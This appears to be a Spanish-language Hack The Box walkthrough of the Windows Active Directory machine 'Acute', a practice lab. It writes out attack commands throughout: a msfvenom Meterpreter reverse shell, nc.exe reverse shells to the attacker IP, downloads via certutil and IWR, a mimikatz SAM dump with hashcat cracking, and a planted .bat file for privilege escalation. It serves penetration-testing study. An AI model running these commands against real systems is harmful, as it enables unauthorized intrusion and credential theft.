🩸
Gzzcoo HTB Walkthroughs
HomePentest NotesHTB Profile
  • Home
  • ACTIVE DIRECTORY
    • Easy
      • Active
      • Cicada
      • EscapeTwo
      • Fluffy
      • Forest
      • Sauna
      • Support
      • Timelapse
    • Medium
      • Administrator
      • Authority
      • Cascade
      • Certified
      • Escape
      • Hospital
      • Intelligence
      • Jab
      • Manager
      • Monteverde
      • Puppy
      • Querier
      • Resolute
      • Scrambled
      • StreamIO
      • TombWatcher
      • TheFrizz
    • Hard
      • Acute
      • Analysis
      • Blackfield
      • Certificate
      • Haze
      • Mantis
      • Object
      • Reel
      • Scepter
      • Search
      • Vintage
    • Insane
      • DarkCorp
      • Ghost
      • Infiltrator
      • Multimaster
      • Sizzle
  • WINDOWS
    • Easy
      • Blue
      • Devel
      • Grandpa
      • Granny
      • Heist
      • Jerry
      • Netmon
      • Optimum
      • Return
  • LINUX
    • Easy
      • Alert
      • Analytics
      • Antique
      • Armageddon
      • Bank
      • Bashed
      • Bizness
      • Blocky
      • BoardLight
      • BountyHunter
      • Broker
      • Busqueda
      • Cap
      • Chemistry
      • Code
      • Codify
      • CozyHosting
      • Delivery
      • Devvortex
      • Dog
      • Editorial
      • GreenHorn
      • Headless
      • Horizontall
      • Irked
      • Keeper
      • Knife
      • Lame
      • LinkVortex
      • Mirai
      • MonitorsTwo
      • Nibbles
      • Nocturnal
      • Nunchucks
      • OpenAdmin
      • Paper
      • PC
      • PermX
      • Planning
      • Pilgrimage
      • Precious
      • Previse
      • Sau
      • ScriptKiddie
      • Shocker
      • Sightless
      • Squashed
      • Titanic
      • Topology
      • TraceBack
      • TwoMillion
      • UnderPass
      • Usage
      • Valentine
      • Validation
      • Wifinetic
    • Medium
      • Backfire
      • Cat
      • Cypher
      • Heal
      • Instant
      • Trickster
    • Hard
      • Eureka
Con tecnología de GitBook

© 2025 Gzzcoo.

En esta página
  • Reconnaissance
  • Web Enumeration
  • Virtual Hosting
  • Information Leakage
  • Abusing Windows PowerShell Web Access
  • Monitoring by capturing the victim's screen (msfconsole)
  • Initial Access - Pivoting to imonks
  • Getting remote command execution on another server
  • Pivoting to jmorgan
  • Abusing a PowerShell file to get remote command execution as another user - User Pivoting
  • Privilege Escalation
  • Dumping Credentials - SAM File Hashes (mimikatz)
  • Cracking Hashes
  • Password Reuse - Pivoting to awallace
  • Abusing Cron Job - BAT file

¿Te fue útil?

Exportar como PDF
  1. ACTIVE DIRECTORY
  2. Hard

Acute

AnteriorHardSiguienteAnalysis

Última actualización hace 3 meses

¿Te fue útil?

Acute es una máquina Windows que se inicia con un sitio web en el puerto 443. El certificado del sitio web revela un nombre de dominio atsserver.acute.local. Al mirar el sitio web, se mencionan varios empleados y con esta información es posible construir una lista de posibles usuarios en la máquina remota. Al enumerar el sitio web, se revela un formulario con procedimientos relacionados con los recién llegados a la empresa. El formulario revela la contraseña predeterminada con la que se configuran inicialmente todas las cuentas. También revela un enlace para una sesión de Windows PowerShell Web Access (PSWA). Al combinar toda la información disponible del proceso de enumeración, un atacante puede ingresar a una sesión de PowerShell como el usuario edavies en Acute-PC01.

Luego, se descubre que el usuario edavies también está conectado mediante una sesión interactiva. Al espiar las acciones de edavie, se puede recuperar la contraseña de texto sin cifrar del usuario imonks para ATSSERVER. El usuario imonks se ejecuta bajo Just Enough Administration (JEA) en ATSSERVER, pero incluso con el conjunto de comandos limitado, un atacante puede modificar un script en ATSSERVER para convertir a edavies en administrador local en Acute-PC01. Ahora que edavies es un administrador local, se pueden recuperar HKLM\sam y HKLM\system del sistema para extraer los hashes de contraseñas de todos los usuarios. El hash del administrador resulta ser descifrable y la contraseña de texto sin cifrar se reutiliza para awallace en ATSSERVER. El usuario awallace puede crear scripts BAT en un directorio donde el usuario Lois los ejecutará. Lois tiene los derechos para agregar a imonks al grupo site_admin, que a su vez tiene acceso correcto al grupo Domain Admins. Entonces, después de que imonks se agrega al grupo site_admin, puede agregarse al grupo Administradores de dominio y adquirir privilegios administrativos.

Reconnaissance

Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Acute.

nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.11.145 -oG allPorts

Lanzaremos scripts de reconocimiento sobre el puerto encontrado y lo exportaremos en formato oN y oX.

nmap -sCV -p443 10.10.11.145  -A -oN targeted -oX targetedXML

Transformaremos el archivo XML obtenido en el resultado de nmap y lo transformaremos en un archivo HTML. Levantaremos un servidor HTTP con Python3.

xsltproc targetedXML > index.html

python3 -m http.server 80

Procederemos a añadir la entrada en nuestro archivo /etc/hosts

Web Enumeration

Virtual Hosting

Verificaremos las tecnologías y frameworks que utiliza la página web a través de la herramienta de whatweb.

whatweb https://atsserver.acute.local

Information Leakage

Revisando el contenido de la página web, nos encontramos un apartado de "About" en el cual aparecen los nombres de los miembros de la empresa, esto nos puede servir útil para intentar generar nombres de usuarios a través de las combinaciones de nombres.

Al abrir el documento recién descargado, verificamos que aparece bastante información que puede llegar a comprometer la seguridad de la información.

En una sección del documento, verificamos que nos aparece una contraseña por defecto 'Password1!'.

También verificaremos que nos aparece un hipervínculo sobre un enlace llamado "Remote".

Abusing Windows PowerShell Web Access

Al acceder al enlace del documento Word, verificamos que se trata de un acceso a un PowerShell a través de la Web, nos pide usuario, contraseña y el nombre del equipo (hostname) al cual queremos conectarnos.

Nos guardaremos los nombres de los empleados que encontramos en la página web, a través de la herramienta de username-anarchy procederemos a generar un listado de usuarios con el formato (flast) que es muy común en Active Directory.

catnp users.txt

username-anarchy --input-file users.txt --select-format flast > generated-unames.txt

catnp generated-unames.txt

Por otro lado, para sacar el tema del nombre de la máquina, lo que realizaremos es revisar los propios metadatos del document Word, esto debido que a veces se muestra dónde se ha creado el Word desde los mismos metadatos del archivo.

En este caso, verificamos que nos aparece 'Created on Acute-PC01'.

exiftool New_Starter_CheckList_v7.docx

Probaremos de autenticarnos en la PowerShell Web Access a través del usuario edavies, con la contraseña por defecto que encontramos en el Word y el nombre de la máquina.

Verificamos que hemos podido ganar acceso con el usuario a la PowerShell Web Access.

Al verificar en el equipo que nos encontramos. nos damos cuenta que se trata de un equipo y no del Domain Controller.

ipconfig

Revisando los directorios de la máquina Acute-PC01, verificamos que hay una ruta (C:\Utils) la cual es un directorio que no tiene el Windows Defender activo.

dir -Force

type desktop.ini

Monitoring by capturing the victim's screen (msfconsole)

Enumerando el equipo, verificamos que el usuario edavies tiene una consola activa en estos momentos, lo cual nos hace pensar que el usuario está con una consola CMD/PowerShell activa.

qwinsta /server:127.0.0.1

El objetivo será monitorear el equipo de la víctima a través de capturas de pantalla, una utilidad que nos ofrece msfconsole.

El primer paso será realizar un binario de una Reverse Shell de Meterpreter a través de la herramienta msfvenom.

Una vez generado el payload de la Reverse Shell, procederemos a acceder a la consola interactiva de Metasploit.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.16.3 LPORT=443 -f exe > shell.exe

msfconsole

Configuraremos la sesión de Metasploit para recibir la Reverse Shell. Levantaremos un servidor web con Python para compartir el binario del payload y desde la consola de PowerShell Web Access procederemos a transferirnos el binario al equipo Acute-PC01.

Iniciaremos el Metasploit para recibir la Reverse Shell y desde la consola de PowerShell Web Access ejecutaremos el binario y comprobaremos que recibimos correctamente la Reverse Shell en Metasploit.

msf6> use explot/multi/handler

msf6> set lhost 10.10.16.3

msf6> set port 443

msf6> set payload windows/meterpreter/reverse_tcp

msf6> run

python3 -m http.server

IWR-Uri http://10.10.16.3/shell.exe -OutFile shell.exe

.\shell.exe

Al acceder a la máquina, verificamos que el usuario edavies tiene bastantes procesos abiertos, lo cual nos afirma la teoría que está utilizando una consola en el equipo en estos momentos.

A través de la utilidad screenshot de Metasploit, procederemos a realizar capturas de pantalla del equpo.

Al revisar las capturas que hemos ido realizando, verificamos que el usuario está tratando de realizar una conexión al equipo ATSSERVER con las credenciales del usuario 'imonks'.

Initial Access - Pivoting to imonks

Getting remote command execution on another server

Desde la consola de PowerShell Web Access, procederemos a configurarnos las credenciales del usuario 'imonks' a través de PSCredential.

Una vez configurada las credenciales, procederemos a intentar ejecutar el comando 'whoami' en la máquina ATSSERVER mediante la configuración que hemos podido capturar en el punto anterior.

Verificamos que el comando ha sido ejecutado correctamente en el servidor y nos ha devuelto correctamente el output. lo cual indica que las credenciales son válidas.

$SecPassword = ConvertTo-SecureString 'W3_4R3_th3_f0rce.' -AsPlainText -Force

$Cred = New-Object System.Management.Automation.PSCredential('acute\imonks',$SecPassword)

Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $Cred -ScriptBlock { whoami }

Al revisar el directorio de Desktop del usuario que disponemos, verificamos que hemos podido comprobar la flag de user.txt.

Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $Cred -ScriptBlock { ls C:\Users\imonks\Desktop }

Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $Cred -ScriptBlock { type C:\Users\imonks\Desktop\user.txt }

Pivoting to jmorgan

Abusing a PowerShell file to get remote command execution as another user - User Pivoting

En la misma carpeta de Desktop del usuario que disponemos actualmente (imonks), verificamos que nos aparece un archivo llamado wm.ps1 que contenía el siguiente contenido.

Se trata de un Script en PowerShell que utiliza las credenciales del usuario jmorgan a través de un SecureString y lo que realzia es ejecutar el comando (Get-Volume) en el equipo que nos encontramos actualmente (Acute-PC01) haciendo uso de esas credenciales.

Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $Cred -ScriptBlock { ls C:\Users\imonks\Desktop\wm.ps1 }

Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $Cred -ScriptBlock { type C:\Users\imonks\Desktop\wm.ps1 }

El objetivo será intentar modificar el script para que ejecute otra instrucción en vez de la indicada (Get-Volume), en este caso, haremos que ejecute un "nc" para entablarnos una Reverse Shell a nuestro equipo. Subiremos el binario de nc.exe en (C:\Utils).

IWR -Uri http://10.10.16.7/nc.exe -Outfile C:\Utils\nc.exe

Lo primero será reemplazar a través de la función -Replace el contenido y a través de Set-Content trataremos de sobreescribir el archivo existente por el contenido nuevo modificado.

Verificamos que se ha sobreescrito correctamente el script, y ahora mismo lo que realiza este script es ejecutar la el binario de nc.exe que hemos subido anteriormente en (C:\Utils\nc.exe).

Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $Cred -ScriptBlock { ((Get-Content C:\Users\imonks\Desktop\wm.ps1 -Raw) -Replace 'Get-Volume','cmd.exe /c C:\Utils\nc.exe -e cmd 10.10.16.7 443' ) }

Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $Cred -ScriptBlock { ((Get-Content C:\Users\imonks\Desktop\wm.ps1 -Raw) -Replace 'Get-Volume','cmd.exe /c C:\Utils\nc.exe -e cmd 10.10.16.7 443') | Set-Content -Path C:\Users\imonks\Desktop\wm.ps1 }

Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $Cred -ScriptBlock { type C:\Users\imonks\Desktop\wm.ps1 }

Procederemos a ejecutar el script de PowerShell modificado y desde una consola de nuestra Kali nos pondremos en escucha por el puerto especificado para recibir la Reverse Shell.

Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $Cred -ScriptBlock { C:\Users\imonks\Desktop\wm.ps1 }

Verificaremos que hemos logrado obtener la Reverse Shell y nos encontramos con el usuario jmorgan en el equipo Acute-PC01. Verificamos que el usuario es Administrador local del equipo.

rlwrap -cAr nc -nlvp 443

hostname

whoami /all

Privilege Escalation

Dumping Credentials - SAM File Hashes (mimikatz)

Debido que disponemos de permisos de Administrador sobre el equipo, una de las diversas cosas que poemos realizar en la máquina es dumpear la SAM para obtener los hashes NTLM de los usuarios locales del equipo.

Para ello exportaremos los archivos SAM y SYSTEM a través de "reg save".

reg save HKLM\SYSTEM C:\Utils\SYSTEM

reg save HKLM\SAM C:\Utils\SAM

Una vez obtengamos la copia de los archivos SAM/SYSTEM procederemos a utilizar la herramienta de Mimikatz para extraer los hashes de la SAM desde la propia máquina víctima.

Para ello, procederemos a pasarnos el binario de Mimikatz desde nuestra Kali al equipo comprometido.

python3 -m http.server 80

certutil.exe -f -urlcache -split http://10.10.16.7/mk.exe C:\Utils\mk.exe

Al ejecutar el Mimikatz procederemos a hacer el DUMP de la SAM y verificaremos que hemos logrado obtener los hashes NTLM de los usuarios locales del equipo Acute-PC01.

Nos guardaremos en un achivo el hash NTLM del usuario 'Administrator'.

mk.exe

lsadump::sam /SYSTEM:C:\Utils\SYSTEM /SAM:C:\Utils\SAM

Cracking Hashes

Procederemos a intentar crackear el hash NTLM obtenido del usuario 'Administrator' con el objetivo de obtener la contraseña en texto plano y posteriormente revisar si algún usuario reutiliza estas credenciales.

Para ello, a través de hashcat intentaremos crackear el hash. En este caso, logra crackearlo correctamente.

hashcat -a 0 -m 1000 hashes /usr/share/wordlists/rockyou.txt

Password Reuse - Pivoting to awallace

De la lista de usuarios que disponemos, solamente nos quedan 3 usuarios los cuales no disponemos de sus credenciales de acceso. Por lo tanto, deberemos intentar validar con alguno de esos tres usuarios si las credenciales que disponemos se reutilizan en alguno de ellos.

Desde la PowerShell Web Access crearemos un nuevo objeto con las credenciales del usuario que probaremos: awallace, verificaremos que son correctas debido que se logra ejecutar el comando 'whoami' en el equipo ATSSERVER. Por lo tanto, este usuario reutiliza las credenciales obtenidas anteriormente.

$SecPassword = ConvertTo-SecureString 'Password@123' -AsPlainText -Force

$Cred = New-Object System.Management.Automation.PSCredential('acute\awallace',$SecPassword)

Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $Cred -ScriptBlock { whoami }

Abusing Cron Job - BAT file

Dado que ya disponemos de unas nuevas credenciales del usuario awallace, procederemos a enumerar los programas que dispone el equipo ATSSERVER. Entre los cuales aparece una carpeta sospechosa llamada "keepmeon".

Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $Cred -ScriptBlock { ls C:\Progra~1 }

Revisando el directorio mencionado, verificamos que se encuentra un archivo (keepmeon.bat) que se trata de un script que se ejecuta cada 5 minutos sobre cualquier archivo que finalice por (.bat).

Este script es ejecutado solamente por el usuario Lois.

Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $Cred -ScriptBlock { ls C:\Progra~1\keepmeon }

Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $Cred -ScriptBlock { typeC:\Progra~1\keepmeon\keepmeon.bat }

Si volvemos a revisar el documento Word que nos descargamos al principio, en una de las secciones indica que el único usuario autorizado para modificar la membresía de grupos sobre los usuarios.

Además, aparece un mensaje mencionando un grupo llamado "Site Admin", lo cual nos parece algo extraño ya que no es un grupo común de AD.

Verificaremos los grupos existentes en el dominio, para verificar que se encuentre el mencionado en el documento. Efectivamente existe un grupo llamado "Site_Admin".

Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $Cred -ScriptBlock { net groups /domain }

Al verificar el grupo "Site_Admin", comprobamos que aparece un comentario sobre dicho grupo mencionando que este grupo solamente se utiliza en casos de emergencia y forma parte del grupo "Domain Admins".

Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $Cred -ScriptBlock { net group Site_Admin /domain }

Por lo tanto, nos encontramos con el siguiente escenario:

  • Lois, tiene permisos para modificar la membresía de grupos sobre usuarios.

  • El script 'keepmeon.bat' es ejecutado por el usuario Lois cada 5 minutos

  • Este script itera por cualquier archivo que acabe en extensión .bat en el directorio actual.

  • Disponemos de las credenciales del usuario 'Awallace'.

Con este escenario presente, la idea será crear un archivo .bat que trate de añadir al usuario awallace al grupo Site_Admin, este script .bat se ejecutará cada 5 minutos por el usuario Lois que tiene permisos para añadirnos a grupos.

Por lo tanto, si todo es correcto y funciona al ejecutarse ese script automatizado, Lois nos añadirá al grupo mencionado teniendo acceso completo al Domain Admins.

El primer paso será crear el archivo .bat que nos añada al grupo mencionado.

Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $Cred -ScriptBlock { Set-Content -Path C:\Progra~1\keepmeon\pwn3d.bat -Value 'net group Site_Admin awallace /domain /add' }

Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $Cred -ScriptBlock { Get-Content C:\Progra~1\keepmeon\pwn3d.bat }

Verificamos que antes de que sea ejecutado el script, el usuario que disponemos awallace dispone de los siguientes grupos de acceso.

Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $Cred -ScriptBlock { net user awallace /domain }

Al ejecutarse el script pasado los 5 minutos, comprobamos que hemos sido añadidos al grupo "Site_Admin", y como este grupo forma parte del grupo "Domain Admins", también disponemos de privilegios de Domain Admins.

Verificamos que tenemos acceso para comprobar el contenido de la flag de root.txt.

Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $Cred -ScriptBlock { net user awallace /domain }

Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $Cred -ScriptBlock { type C:\Users\Administrator\Desktop\root.txt }

Para poder ganar acceso a la máquina para disponer de control remoto en una Shell y no a través de este método de PowerShell Web Acces mediante ScripBlock, lo que realizaremos es lo siguiente:

Nos compartiremos el binario de nc.exe desde nuestra Kali y lo descargaremos en ATSSERVER mediante "wget".

Una vez lo tengamos en el equipo víctima, procederemos a ejecutar para entablarnos una Reverse Shell a nuestra Kali.

Invoke-Command -ComputerName ATSSERVER -Credential $Cred -ScriptBlock { wget 10.10.16.7/nc.exe -outfile \programdata\nc.exe }

Invoke-Command -ComputerName ATSSERVER -Credential $Cred -ScriptBlock { \programdata\nc.exe -e cmd 10.10.16.7 443}

Verificamos que estando nosotros en escucha por el puerto especificado, hemos ganado acceso al equipo ATSSERVER mediante la Reverse Shell con nc.exe.

rlwrap -cAr nc -nlvp 443

Accederemos a y comprobaremos el resultado en un formato más cómodo para su análisis.

Procederemos a acceder a y y verificaremos que solamente nos muestra el contenido de la web a través del nombre DNS y no a través de la dirección IP.

También nos encontramos que en la página nos encontramos que hay un documento Word (.docx) nombrado 'New_Starter_CheckList_v7.docx'.

http://localhost
https://10.10.11.145
https://atsserver.acute.local
https://atsserver.acute.local/about.html